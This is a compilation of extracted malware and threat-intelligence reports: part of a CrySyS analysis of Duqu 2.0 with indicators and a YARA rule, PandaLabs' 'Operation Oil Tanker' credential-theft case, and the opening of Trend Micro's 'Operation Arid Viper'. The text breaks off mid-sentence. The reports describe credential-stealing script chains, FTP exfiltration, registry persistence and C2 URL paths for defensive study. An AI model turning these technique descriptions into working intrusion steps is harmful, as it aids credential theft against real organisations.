Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.0; Chrome/17.0.963.66 Safari/535.11 WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0 Mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1 Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Mozilla/5.0 (Windows NT 6.1; de;rv:12.0) Gecko/20120403211507 Firefox/12.0 Sample 7 48 Browser agent strings in Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 2.7. DLL imports Duqu 2.0 uses more than one method to import functions from DLLs. One of the methods utilizes a hash method to represent function names as 4 byte integers. It iterates through all importable function and finds the one whose function name hash matches the given hash. This hash function uses a magic number. A very similar import method and hash function is used in Duqu and Duqu 2.0 although the magic numbers are different: 0x86F186F1 and 0xB31FB31F. Note that even the inner structure of the magic numbers are similar (2x2 bytes). Sample 8 Hash function used for imports in Duqu and Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 3. Indicators of Compromise 3.1. Detection based on communications The malware can transmit information through HTTP traffic. It is most likely that one or more infected computers can be proxy points towards the attacker, meaning that other infected computers communicate with these proxies. These proxies can act as HTTP or HTTPS servers. For HTTPS, a self signed certificate is created by the malware itself. (Most likely by contacting gpl3.selfsigned.org). The Common Name (CN) field seems to be in the created certificate. During data transfer, the malware uses <5 random numbers>.gif for file name and a 843-byte GIF file + additional random bytes. The transmissions may be protected by AES. One possible way to detect such transmission (if cleartext traffic is somehow available) to detect the actual 843-byte GIF file. For the known two samples, this GIF portion was identical. The actual image in hex dump is the following: 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 00000130 00000140 00000150 00000160 00000170 00000180 47 49 46 38 39 61 0b 00 01 00 00 fc 00 2c 00 00 00 00 00 00 33 00 00 66 ff 00 2b 00 00 2b 33 00 00 2b ff 00 55 00 00 55 55 cc 00 55 ff 00 80 00 99 00 80 cc 00 80 ff 00 00 aa 99 00 aa cc 00 aa d5 66 00 d5 99 00 d5 cc 33 00 ff 66 00 ff 99 00 33 00 33 33 00 66 33 00 2b 00 33 2b 33 33 2b 66 ff 33 55 00 33 55 33 33 33 55 ff 33 80 00 33 80 80 cc 33 80 ff 33 aa 00 99 33 aa cc 33 aa ff 33 33 d5 99 33 d5 cc 33 d5 ff 66 33 ff 99 33 ff cc 33 66 00 66 66 00 99 66 66 2b 33 66 2b 66 66 2b 55 00 66 55 33 66 55 66 ff 66 80 00 66 80 33 66 66 80 ff 66 aa 00 66 aa aa cc 66 aa ff 66 d5 00 99 66 d5 cc 66 d5 ff 66 0b 00 70 00 00 21 f9 04 00 00 0b 00 0b 00 87 00 00 00 99 00 00 cc 00 00 2b 66 00 2b 99 00 2b cc 33 00 55 66 00 55 99 00 00 80 33 00 80 66 00 80 aa 00 00 aa 33 00 aa 66 ff 00 d5 00 00 d5 33 00 00 d5 ff 00 ff 00 00 ff ff cc 00 ff ff 33 00 00 99 33 00 cc 33 00 ff 33 33 2b 99 33 2b cc 33 2b 55 66 33 55 99 33 55 cc 33 33 80 66 33 80 99 33 33 aa 33 33 aa 66 33 aa d5 00 33 d5 33 33 d5 66 ff 33 ff 00 33 ff 33 33 33 ff ff 66 00 00 66 00 00 cc 66 00 ff 66 2b 00 99 66 2b cc 66 2b ff 66 66 55 99 66 55 cc 66 55 80 66 66 80 99 66 80 cc 33 66 aa 66 66 aa 99 66 66 d5 33 66 d5 66 66 d5 ff 00 66 ff 33 66 ff 66 |GIF89a....p..!..| |.....,..........| |....3..f........| |..+..+3.+f.+..+.| |.+..U..U3.Uf.U..| |U..U......3..f..| |............3..f| |..............3.| |.f..............| |3..f.........3..| |3.33.f3..3..3..3| |+.3+33+f3+.3+.3+| |.3U.3U33Uf3U.3U.| |3U.3..3.33.f3..3| |..3..3..3.33.f3.| |.3..3..3..3.33.f| |3..3..3..3..3.33| |.f3..3..3..f..f.| |3f.ff..f..f..f+.| |f+3f+ff+.f+.f+.f| |U.fU3fUffU.fU.fU| |.f..f.3f.ff..f..| |f..f..f.3f.ff..f| |..f..f..f.3f.ff.| |.f..f..f..f.3f.f| Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 00000190 000001a0 000001b0 000001c0 000001d0 000001e0 000001f0 00000200 00000210 00000220 00000230 00000240 00000250 00000260 00000270 00000280 00000290 000002a0 000002b0 000002c0 000002d0 000002e0 000002f0 00000300 00000310 00000320 00000330 00000340 0000034b 66 ff 99 66 ff cc 66 ff 00 66 99 00 99 99 00 cc 33 99 2b 66 99 2b 99 99 99 55 33 99 55 66 99 55 80 00 99 80 33 99 80 66 ff 99 aa 00 99 aa 33 99 99 aa ff 99 d5 00 99 d5 d5 cc 99 d5 ff 99 ff 00 99 99 ff cc 99 ff ff cc cc 00 99 cc 00 cc cc 00 2b 66 cc 2b 99 cc 2b cc 33 cc 55 66 cc 55 99 cc cc 80 33 cc 80 66 cc 80 aa 00 cc aa 33 cc aa 66 ff cc d5 00 cc d5 33 cc cc d5 ff cc ff 00 cc ff ff cc cc ff ff ff 00 00 99 ff 00 cc ff 00 ff ff ff 2b 99 ff 2b cc ff 2b 55 66 ff 55 99 ff 55 cc 33 ff 80 66 ff 80 99 ff ff aa 33 ff aa 66 ff aa d5 00 ff d5 33 ff d5 66 ff ff ff 00 ff ff 33 ff ff ff ff 00 00 00 00 00 28 00 ed 09 1c 48 50 20 e0 41 87 0d 1f 2a 64 d8 c8 10 63 c5 8f 1b 37 06 ff 99 00 00 99 00 33 99 99 00 ff 99 2b 00 99 2b 2b cc 99 2b ff 99 55 00 99 99 55 cc 99 55 ff 99 99 80 99 99 80 cc 99 80 aa 66 99 aa 99 99 aa cc 33 99 d5 66 99 d5 99 99 99 ff 33 99 ff 66 99 ff 00 00 cc 00 33 cc 00 66 ff cc 2b 00 cc 2b 33 cc cc 2b ff cc 55 00 cc 55 55 cc cc 55 ff cc 80 00 99 cc 80 cc cc 80 ff cc cc aa 99 cc aa cc cc aa d5 66 cc d5 99 cc d5 cc 33 cc ff 66 cc ff 99 cc ff 00 33 ff 00 66 ff 00 2b 00 ff 2b 33 ff 2b 66 ff ff 55 00 ff 55 33 ff ff 55 ff ff 80 00 ff 80 80 cc ff 80 ff ff aa 00 99 ff aa cc ff aa ff ff ff d5 99 ff d5 cc ff d5 ff 66 ff ff 99 ff ff cc 00 00 00 00 00 00 00 08 3c 7b 07 13 22 5c 68 70 b0 e2 c4 8b 10 09 4a 8c 04 00 3b |f..f..f.......3.| |.f..........+..+| |3.+f.+..+..+..U.| |.U3.Uf.U..U..U..| |....3..f........| |......3..f......| |........3..f....| |..........3..f..| |............3..f| |..........+..+3.| |+f.+..+..+..U..U| |3.Uf.U..U..U....| |..3..f..........| |....3..f........| |......3..f......| |........3..f....| |..........3..f..| |........+..+3.+f| |.+..+..+..U..U3.| |Uf.U..U..U......| |3..f............| |..3..f..........| |....3..f........| |......3..f......| |................| |(....HP <{.."\hp| |.A...*d.......J.| |..c...7...;| Sample 9 Hexdump of the actual GIF image The image itself is a small picture, basic color is yellow and there are some orange dots in it: Sample 10 The actual GIF image Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 3.2. Yara rules to identify For the main binary of the malware, we propose the following rules for detection: rule duqu2 strings: $a = { 0F B6 C8 8B C1 0F AF C9 83 E0 ?? C1 E0 ?? 05 ?? ?? ?? ?? 0F AF D8 8B ?? ?? ?? 33 D9 } $b = { 0F 84 ?? ?? ?? ?? 0F B7 06 B9 ?? ?? ?? ?? 33 C1 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B } condition: any of them Sample 11 Yara rules for detection of Duqu 2.0 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 4. Conclusion ve made an initial analysis to prove our claims that there is a strong connection between Duqu and Duqu 2.0 malwares. Our main goal was to highlight the most striking similarities and differences between the samples. Similarities shows that the developers of Duqu 2.0 have reused the code basis of the old Duqu specimens and the differences found in the binaries indicates that the developers of Duqu have modified their tools to avoid detections. 5. References [CrySySDuqu] CrySyS, Duqu: A Stuxnet-like malware found in the wild, v0.93 (14/Oct/2011) http://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf [SymantecDuqu] Symantec, W32.Duqu: The precursor to the next Stuxnet, Version 1.4 (November 23, 2011) http://www.symantec.com/content/en/us/enterprise/media/security_response/white papers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf [KasperskyDuqu] Kaspersky Lab, Duqu: Steal Everything, Kaspersky Lab s investigation - The Mystery of Duqu in blogs http://www.kaspersky.com/about/press/major_malware_outbreaks/duqu [SymantecDossier] Symantec, W32.Stuxnet Dossier, Version 1.4 (February 2011) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu http://www.symantec.com/content/en/us/enterprise/media/security_response/white papers/w32_stuxnet_dossier.pdf [KasperskyDuqu2.0] Kaspersky Lab, The Duqu 2.0: Technical Details, Version: 1.9.8 (2.June.2015) https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticatedcyberespionage-actor-returns/ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu 6. Contact Information Questions and comments are welcome. The corresponding author is Dr. Boldizs r Bencs bencsath@crysys.hu Laboratory of Cryptography and System Security CrySyS http://www.crysys.hu/ Budapest University of Technology and Economics Department of Telecommunications 1117 Magyar Tud sok Krt. 2. Budapest, Hungary GPG BENCSATH Boldizsar Key ID 0x64CF6EFB Fingerprint 286C A586 6311 36B3 2F94 B905 AFB7 C688 64CF 6EFB Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Operation Oil Tanker The Phantom Menace pandasecurity.com pandalabs Operation Oil Tanker: The Phantom Menace. Everything started on a cold January day in a coastal town in the North East of England, an area with a strong presence of petrochemical companies. The day began normally in one of these companies, a firm specializing in, among other things, maritime oil transportation. Let s call this company Black Gold John, the head of Black Gold s IT Department knows that we live in a dangerous world, and that companies face thousands of cyber-attacks every day. And although Black Gold is not included in the Fortune 1000 company list, John knew that taking all possible safety precautions is a must and that, in addition to having a corporate antivirus, they must maximize all other security measures. Thanks to John, Black Gold joined a high IT security pilot program. That s why when given the opportunity to take part in a pilot program involving a new service that monitors all applications running on endpoints, reporting the security status of the network and providing forensic information in the event of infections, he didn t think twice. After completing a series of controlled tests, John decided to deploy the small agent across the company s network October 2013. The information he received during the first three months helped to identify computers at risk where vulnerable applications were found. Apart from that, nothing worth mentioning really happened. pandasecurity.com pandalabs One day, however, while Susan, a secretary with more than 20 years of experience at Black Gold, was checking her email as she did every Monday morning, she came across an email message with an attached document. The document appeared to be a PDF file of approximately 4MB in size, with information about the oil market. Nothing suspicious. Besides, the message in question had gone through every security filter in place. Neither the mail server antivirus nor the antivirus on her workstation had found anything anomalous in it. Susan double-clicked the attachment. A blank PDF opened. This must be a mistake. I hope they realize it and send us the correct file again, Susan thought, moving on to the next unread message. Meanwhile, 1,700 km away from Susan s computer, an alarm was triggered. An unknown threat had just been detected and blocked when it tried to steal credentials from Susan s computer and send them out. Today, most computer threats are designed to steal information from target systems, so this just looked like thousands of cases we examine in the laboratory every day. However, it caught our attention that no antivirus engine had been able to detect it, although this shouldn t be so surprising if you take into consideration that every day over 250,000 new malware files are put in circulation. There was something really unique about this threat: it didn t use any kind of malware. That s why we decided to call it the Phantom Menace Susan just clicked twice, and the Phantom Menace was triggered. pandasecurity.com pandalabs Attack analysis The file that Susan received and opened looked like this. It actually was an executable file that used the icon typically used by Adobe Acrobat Reader documents to trick users. The figure below illustrates the execution flow: pic.pdf stat.vbs deca.bat dcp.exe unzip2.exe bare.zip deca.bat dcp.exe ****** secret unzip.exe bar.zip sai.vbs ici.bat cogi.reg aagi.bat iei.bat iewi.bat di.vbs keeprun.ini mdei.abc image.abc images.abc picture viewer.abc The file is just a self-extracting file. Once run, it creates a folder and extracts six files into it. It then runs one of them stat.vbs and does not take any more actions. There is no malicious activity, so the file goes unnoticed by behavior-based detectors. The stat.vbs file simply runs another file deca.bat in the background. This file in turn opens the pic.pdf file (the blank PDF document that opened on Susan s computer) and runs a file called dcp.exe, a free tool to encrypt files. This utility is used to decrypt the following two files: Next, it uses the unzip.exe program to extract the content of the bare.zip file (12 files) into a different folder. Then, it runs one of the files: sai.vbs. pandasecurity.com pandalabs None of these actions are anomalous, and actually are very different from what we normally see in other types of attacks. Here is where the second part of the attack begins: 0x01209900 (???) sai.vbs ici.bat ici.bat aagi.bat 0x00000004 (4) 0x00000001 (1) 0x00020000 (131072) cogi.reg aagi.bat image.abc .abc .exe image.exe images.abc images.exe picture viewer.abc mdei.abc keeprun.ini picture viewer.exe mdei.exe KeepRunning keeprun.ini iei.bat iei.bat di.vbs di.vbs iewi.bat iewi.bat attrib rename PIC_%d_%t The .vbs file runs a .bat file that modifies the Windows registry to ensure that a file called aagi.bat is run every time the system starts. Then, it makes a copy of the four files with the extension .abc, and changes their extension to .exe. These are all legitimate applications that anybody could use: the first three are designed to collect the credentials (user names and passwords) stored in the local mail client and Internet browser, and save them to a text file. The fourth one is an application designed to run another application every seconds. This is very useful for computers that need to run an application at all times, like a browser or any other specific software, so that if the application closes unexpectedly for some reason it will open again. In this case the application is configured to run another .bat file every 3,600 seconds (every hour). Then, the ici.bat file uses the ATTRIB system command to hide the two folders it created, disables the Windows firewall, and renames the text files containing the credentials to PIC_%d_%t, where %d is the current date and %t the current time. This is done to indicate when the information they contain was obtained. Finally, it uses the FTP command to upload those files to an external FTP server controlled by the attackers. pandasecurity.com pandalabs Additionally, it runs the file iei.bat every hour, which basically takes the following actions: .abc .exe delete cogi.reg iewi.bat 0x01209900 (???) 0x00000004 (4) 0x00020000 (131072) image.exe images.exe picture viewer.exe rename PIC_%d_%t It renames the .abc files back to .exe, in case they were deleted. It then deletes all the text files with credentials that were already uploaded to the FTP server, restores the Windows registry key in case it was deleted, runs the applications designed to collect credentials, renames the resulting files and uploads them to the FTP server. As you can see, no malware is ever used in the attack, the hack makes use of legitimate tools and different scripts to perform the aforementioned actions. But, is this type of attack really effective? As mentioned before, no antivirus was capable of detecting it. Furthermore, its peculiarities seem to indicate that the proactive protection layers included in most antivirus solutions would not be able to detect its apparently harmless behavior. This was confirmed when we accessed the FTP server that the stolen data was sent to, and found that the oldest files dated back to August 2013. That is, the attack had been underway for almost six months completely undetected. pandasecurity.com pandalabs A targeted attack? Once we accessed the FTP server, the first thing we did was look for credentials belonging to Black Gold, since, despite being able to neutralize the attack on Susan s computer, another employee could have fallen victim to it. The result was negative, no credentials had been stolen from the company. However, we were surprised by the large number of files stored on the FTP server: over 80,000 text files with stolen credentials from other firms. This didn t look like a targeted attack, where the number of victims is usually low. However, after opening three files at random, we found that they belonged to three companies all in the same industrial sector that Black Gold belongs to. What didn t seem a targeted attack at first, ended being a whole conspiratorial plot against the sector. As mentioned in the previous section, the attack took place recurrently every hour. This means that stolen credentials were sent to the FTP server every hour. We discarded duplicate files and ended up with 860 unique files. That was still too many files for a targeted attack. The only thing left to do was manually process all these files and try to identify the victims. The files belonged to some ten companies, all of them in the oil and gas maritime transportation sector. It was clear that the hack was indeed a targeted attack, but we still didn t know what the attackers were really after, what their final objective was. pandasecurity.com pandalabs Nigeria, scams and oil The so-called Nigerian scams have been a constant presence on the Internet since its inception, and even before that, when fraudsters used postal mail to defraud victims. In the most popular one, the scammer passes themselves off as an important figure in the Nigerian government or some other institution, and contacts the victim offering them a share in a large sum of money that they want to transfer out of the country. However, the Nigerian scam industry is large and varied. Some variants are almost unknown and affect all kinds of sectors, including the oil industry. If the potential buyer is interested, they will ask for documentary evidence that the product exists (Proof of Product). There are different types of documents that can be provided: a quality certificate, a certificate of origin, a cargo manifest, or the letter of ATS (Authority to Sell) issued by the NNPC. To close the deal, the buyer must pay a significant amount of money -from $50,000 to $100,000- in advance. However, once they pay the money they are met with the nasty surprise that there is no oil. The Nigerian town of Bonny is well-known in oil production circles as the oil produced there, known as Bonny Light Crude Oil (BLCO), has a very low sulfur content, which makes it a highly desired grade for its low corrosiveness. The fact that this particular type of oil is in such high demand has given rise to a particular type of scam aimed at oil brokers, individuals who arrange transactions involving crude oil between buyers and sellers. The weakest link in the scam is the documentation that the scammer must provide to convince the buyer. Even though all of these documents can be forged, the fraudster runs the risk of being discovered by the broker. In Nigeria, every gas and oil transaction is supervised by the NNPC (Nigerian National Petroleum Corporation), a government-owned company. Anybody who wants to trade with oil in Nigeria must be registered with the NNPC. To make it more plausible, scammers attempt to use real documents so that if the broker wishes to check their legitimacy, they will see that they are real. In short, the scam works like this: the scammer contacts a broker/middleman and offers them a large amount of BLCO, one to two million barrels, at a very competitive price. However, how difficult is it to obtain these documents? It is very complicated. The only way to do it is from companies in the sector. Oil transportation companies, for example. This was just a theory, at that time we didn t have any evidence to prove that that was the objective of those responsible for the Phantom Menace attack. pandasecurity.com pandalabs Is it possible to know who is behind the attack? In most cases, getting to know who is behind a cyber-attack is very complex, sometimes impossible. In this case we were fairly pessimistic. To make it worse, the fact that no malware had been used in the attack ruled out the possibility of finding a signature to examine. However, there was a weak spot in the attack: the FTP connection used to send out the stolen credentials. The information was transmitted using the FTP command, and as that command was called by one of the scripts, it was possible to see the connection used, from where it was established and the credentials used. The FTP server belonged to a free service that the attacker had signed up to, so we were able to access it and see the information entered when opening the account. Yes, we were aware that the information would probably be false, but it was still worth checking. The password was unknown, they hadn t used the same one as for the FTP service. We took the 9 characters that made up the email address and started combining them to see if we could form an alias, a first name, a last name or similar. And we got it. We googled what looked like a first name and last name and got a hit. It was the name of a person with Nigerian nationality and Twitter, Facebook and LinkedIn accounts, which allowed us to obtain some more information about him. All those accounts belonged to a person living in... Ikeja and who is the owner of a goods transport company. Ikeja ?????????5@gmail.com The name used was false; googling it returned zero results. The country selected was the United States, which could be false as well. Then we had a look at the city information. The name in this field was unknown to us: Ikeja It turns out that Ikeja is the name of a suburb in Lagos -the capital city of Nigeria-, also known as the Computer Village as it hosts the nation largest market cluster for technology products. This information could also be false, but the fact that whoever opened the account was familiar with that name meant that they were from Nigeria themselves or knew the country very well. Then came the email address. This was the only element that we knew for sure had to be real and valid, as it is the address at which users receive the service activation message, password reset messages, etc. In this case it was a Gmail address: *********5@gmail.com Too many coincidences. So, even though all the evidence seems to indicate that this is the person responsible for the attack, there is no way for us to prove it. It would require the police to launch an investigation and obtain information about the FTP connections, etc., in order to get the IP address of the person who signed up to the service and find the culprit. pandasecurity.com pandalabs Conclusion With all the information we had in our hands, the idea of what to do next was clear: inform the police so that they could start an investigation and apprehend whomever was responsible for the hack. Since one the affected companies was from Spain, we contacted the Spanish Civil Guard, a police force that we have collaborated with in the past and which has a very good reputation in the fight against cyber-crime. Unfortunately, they face a difficult-to-solve problem: to start an investigation they need a victim who reports the crime. It looks simple, but it isn t: none of the victims of this attack is willing to report it. Why? If our theory is correct, the information stolen from these companies has not been used against them, but to defraud other people, oil buyers. It is for that reason that the companies which have had their credentials compromised prefer not to report the attack for fear of having their name in the spotlight. They prefer to keep a low profile, change their credentials and continue to operate just as if nothing had happened. Some countries have laws that force companies to report every hacking intrusion where information is stolen. However, that obligation is usually limited to incidents in which the stolen information belongs to a third party (customers, partners, etc.). In this case, the stolen credentials belonged to the company under attack, which therefore is not forced by law to report the theft. We started this article by calling this case Phantom Menace , due to the nature of the attack and the absence of malware to perpetrate it. Continuing with the homage to Star Wars, it is time to move on to The Force Awakens : all major companies must awake to their vulnerability and realize that absolute security doesn t exist and behavior-based protection is limited. The companies like Black Gold usually prefer not to demand this kind of attacks in order keep them in anonymity. They need to go one step further, performing regular audits in order to assess and address potential weaknesses in their network security. Despite traditional security solutions are still a necessity, they are no longer enough. It is important to understand that our defense systems must adapt to the level of attack received, and so it is necessary to implement new protection strategies that give organizations total control and visibility over their networks. pandasecurity.com panda pandalabs labs This article in whole or in part may not be duplicated, reproduced, stored in a retrieval system or retransmitted without prior written permission of Panda Security. Panda Security 2015. All Rights Reserved. pandasecurity.com OPERATION ARID VIPER Bypassing the Iron Dome Trend Micro Threat Research Team CONTENTS Introduction.................................................................................................i Operation Arid Viper............................................................................. 1 Targets.............................................................................................. 1 Infection Chain.................................................................................. 1 C&C Infrastructure............................................................................ 5 Operation Advtravel.............................................................................. 9 C&C Infrastructure............................................................................ 9 Malware.......................................................................................... 13 Victims............................................................................................ 15 fpupdate.info Server....................................................................... 16 Victims........................................................................................ 16 linksis.info Server........................................................................ 17 Attribution........................................................................................... 17 Khalid Samra.................................................................................. 17 Ahmed Jmal.................................................................................... 19 Mahmoud Hashem......................................................................... 19 Dev_hima....................................................................................... 20 VIRUS_HIMA.............................................................................. 24 Mohammed Khaled........................................................................ 25 Fathy Mostafa................................................................................. 25 Other Individuals............................................................................. 26 Conclusion.................................................................................................ii References............................................................................................... iii Appendix..................................................................................................iv TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in as is condition. INTRODUCTION The South Korean Fake Banking App Scam Trend Micro researchers discovered an ongoing malware campaign that targets Israeli victims and leverages network infrastructure in Germany. The campaign has strong attribution ties to Arab parties located in the Gaza Strip and elsewhere. Picture the following reconstruction based on one attack an employee in an Israeli government research facility receives and opens a highly targeted phishing email. A pornographic movie starts to play on his screen, which he hurriedly closes before any of his colleagues notice. He then thinks nothing more of the event. Minutes later, an attacker from somewhere in the Gaza Strip in Palestine gets notified that a new victim s system has been successfully infected. The attacker then proceeds to exfiltrate a package containing all of the interesting documents from the newly infected system. Israel is one of the most highly defended countries in the world, sheltered behind the legendary Iron Dome. [1] But all of that counts for nothing when an attacker possibly seeking out revenge for Israeli air strikes on Gaza last year circumvents all of that to strike right at the heart of the Israeli administration. [2] The Internet is quickly becoming a battlefield for new age wars, a chessboard where a new game is played by world powers comprising enemies and allies. This is a new take on an old game, that of deception, duplicity, and espionage in world politics. The ability to attack an enemy without needing to declare war is a very useful thing in such a game, as is being able to spy on enemies cloaked by distance and faint electronic traces. For a security company, the most complicated thing is to determine the motivation behind an electronic attack. In rare cases, we do find state-sponsored espionage. And the most useful clues we count on to discern between threat actors or those behind highly targeted attacks and other cybercriminals include: Complexity: The level of sophistication employed by some of these highly targeted attacks goes over and beyond normal cybercrime. Government agencies with the manpower to create the kind of malware for highly targeted attacks perfect their Research Paper code over the years. They often employ scores of teams working on different sections of their malicious programs. Of course, not all nation states have the same resources at their disposal when it comes to creating sophisticated malware. In fact, for every Stuxnet, there are hundreds of rather straightforward spear-phishing campaigns. Targets: Over time, state-sponsored malware have been targeting victims that can be clustered into specific groups regions or vertical industries. This could be a telltale sign that whoever is behind a highly targeted attack has loftier interests than merely stealing money. It is also worth noting that not all politically motivated attacks are carried out by the governments that would most likely benefit from them. They can be the work of hacktivists, patriotic hacking groups, or to further complicate things, enemy nations using the name of supposed culprits to carry out attacks. Welcome to the wonderfully complex world of geopolitical malware! This research paper tells the story of a highly targeted attack campaign that raised all kinds of red flags. What we have dubbed Operation Arid Viper refers to a campaign that exclusively targets victims in Israel. This particular case showed that not only countries are looking at Israel through the crosshairs; a few organizations who consider themselves the country s adversaries are, too. As such, we cannot discount that this attack could have been made by a rogue organization that is trying to shake the chessboard of world politics. Operation Arid Viper uses malware delivered via phishing emails to steal documents from target systems. This paper a collaborative effort of the Trend Micro ForwardLooking Threat Research Team and fellow threat defense experts reveals the campaign s technical details and its targets as well as details on a number of individuals who appear to be tied to the campaign. Special thanks also goes out to the United States Air Force (USAF) Office of Special Investigations for their assistance and partnership in this endeavor. 2015 Trend Micro Incorporated Operation Arid Viper Research Paper OPERATION ARID VIPER Targets Threat intelligence from within Trend Micro was used to determine who the targets of an ongoing campaign dubbed Operation Arid Viper have been so far. Based on IP addresses associated with malware infections tied to the campaign s core infrastructure, we were able to determine its targets a government office, transport service/infrastructure providers, a military organization, and an academic institution in Israel. It also targeted an academic institution in Kuwait along with several other unidentified Israeli individuals. Research also revealed an interesting Twitter conversation between @Ramzi_MHADHBI, a Tunisian blogger, and @waleedassar, a reverse engineer currently working as a senior security researcher at the Al Jazeera Media Network. Their exchange mentioned two of the domains associated with Operation Arid Viper malware, suggesting that one or both of them may have also been targeted. Infection Chain Operation Arid Viper targeted various Israeli organizations across industries. As will be made clear later, Operation Arid Viper aimed to extract victim information though it also paid much attention to its means of getting into target systems. The campaign used the most popular targeted attack infection vector a simple phishing email from a nonexistent sender to a specific recipient. It targeted organizations from various industries with a clear focus on Israel. The spear-phishing email came with a compressed file attachment and a more or less credible social engineering ploy to trick victims into opening it and running the embedded .EXE file. The .RAR file attachment contains an .SCR file that when executed drops two more files onto an infected system. One file is a short pornographic video in .FLV or .MPG format, depending on the samples seen. The other file is a Windows binary file sporting the icon of the well-known Internet communication program, Skype Twitter conversation between @Ramzi_MHADHBI and @waleedassar Operation Arid Viper was unusual in that it had a pornographic component in hopes of taking user focus away from the infection or the fact that something strange is happening. It targeted professionals who might be receiving very inappropriate content at work and so would hesitate to report the incident. These victims failure to act on the threat could have then allowed the main malware to remain undiscovered. The attackers used a distinct and likely successful strategy previously unseen when it came to avoiding incident response team investigations. 1 | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper It is also worth mentioning that variations in the spear-phishing elements were seen across attacks though the idea behind them was the same. They all used a socially engineered email with a malicious file attachment and had a pornographic element as shown in the infection chain. Once executed, the binary accesses a command-and-control (C&C) server to immediately download an updated module and check if the infected system is already known or if it has been newly infected. Each infected system is assigned a unique identifier comprising its hard disk name and a specific set of numbers. Specific URLs are used for command and control. Note how often the unique identifier is used in all kinds of communication with C&C servers. Below are sample commands for a system with the unique ID, VMwareVirtualIDEHardDrive 1268730784. /session/aadd_rtemp. php?n=VMwareVirtualIDEHardDrive 1268730784: To add the system s record or perhaps start a communication session. /session/gget_rtemp. php?n=VMwareVirtualIDEHardDrive 1268730784: To get a record or perhaps continue a communication session. /flupdate/3.html: To download an updated .EXE file. Operation Arid Viper infection chain Incidentally, even though the file that should be downloaded 3.html was hard-coded into the original malicious binary, the C&C server has sequentially numbered similar though not identical binaries such as 1.html, 2.html, and so on. These varied from sample to sample but were all Base64-encoded strings. The malware also commonly set the User-Agent for communication Skypee, or Skype shown in the Wireshark log. The previously mentioned paths aadd_temp and gget_rtemp varied a little from sample to sample and C&C server to C&C server but the request formatting was the same. A nonexhaustive list of other paths seen include: 2 | Page User-Agent Wireshark log for Skypee, or Skype communication 2015 Trend Micro Incorporated Operation Arid Viper /new/add_tree.php?name=[SYSTEMID]&date=[TODAYS DATE] /new/all_file_info1.php?name=[SYSTEMID]&user=[NUM]&file=[DD-MM-YYYY HH-MM. uml]&type=msn /new/all_file_info1.php?name=[SYSTEMID]&user=[NUM]&file=[DD-MM-YYYY HH-MM. rml]&type=log Research Paper /new/view_flash_random. php?name=[SYSTEM-ID]&serial=[SERIAL NUM] /new/update.php /new/view_file_order.php?name=[SYSTEM-ID] /new/view_file_up.php?name=[SYSTEM-ID] /new/view_random_order. php?name=[SYSTEM-ID] /down/add_temp.php?name= [SYSTEM-ID] /new/add_tuser.php?name=[SYSTEM-ID]&use /new/all_file_info1.php?name=[SYSTEMID]&user=[NUM]&file=[DD-MM-YYYY HH-MM. rml]&type=tree /new/chang_flag.php /new/chang_rfflag.php /new/get_flash.php?name=[SYSTEMID]&serial=[SERIAL NUM] /new/chang_rflag.php /new/n_chang_fflag.php /new/get_tree.php?name=[SYSTEMID]&date=[DD-MM-YYYY] /mians/aadd_rtemp.php?n=[SYSTEM-ID] /new/get_statu.php?name=[SYSTEM-ID] /mians/gget_rtemp.php?n=[SYSTEM-ID] /new/view_flash_files.php?name=[SYSTEMID]&serial=[SERIAL NUM] /session/aadd_rtemp.php?n=[SYSTEM-ID] /session/gget_rtemp.php?n=[SYSTEM-ID] /new/all_file_info1.php?name=[SYSTEMID]&user=[NUM]&file=[DD-MM-YYYY HH-MM. dll]&type=img When the second-stage malware runs, it sets itself to autorun with each system reboot in the guise of an Internet communication software. This is accomplished with an oldfashioned auto-start registry key such as HKCU\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run Skype = . This keeps the path and name of the .EXE file dropped into the registry key. It also copies itself into %SystemDrive%\Program Files\Messenger via a 